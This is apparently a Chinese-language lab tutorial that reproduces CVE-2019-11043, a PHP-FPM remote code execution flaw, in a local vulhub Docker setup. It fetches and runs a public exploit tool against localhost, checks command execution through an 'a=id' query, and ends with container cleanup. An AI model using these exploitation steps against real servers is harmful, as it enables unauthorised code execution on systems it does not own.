CVE-2019-11043复现


漏洞描述

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。

在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。

在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。

漏洞复现

这里直接使用p牛的docker环境进行复现

PHP-FPM 远程代码执行漏洞(CVE-2019-11043)

安装docker
apt install docker docker-compose 
启动docker
systemctl start docker
搭建环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
docker-compose up -d

在启动环境前建议先设置镜像加速

在 /etc/docker/daemon.json 写入以下内容(如果不存在文件,请新建)

{"registry-mirrors":["https://registry.docker-cn.com"]}

以上是添加 docker 官方提供的中国镜像,也可以选择使用阿里云,中科大等镜像。添加镜像后需要重启docker

sudo systemctl daemon-reload
sudo systemctl restart docker

看到上面的界面代表环境启动成功,默认页面在http://127.0.0.1:8080/index.php

漏洞利用

安装golang,git代码并编译

apt install golang
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v
go build

运行

go run . "http://127.0.0.1:8080/index.php"

验证

因为php-fpm会启动多个子进程,在访问/index.php?a=id时需要多访问几次,以访问到被污染的进程

复现完后建议删除或停止容器

docker ps //查看正在运行容器 
docker stop containerId //containerId是容器的ID 
docker ps -a //查看所有容器 
docker ps -a -q //查看所有容器ID 
docker stop $(docker ps -a -q) //停止所有容器 
docker rm $(docker ps -a -q) //删除所有容器

  目录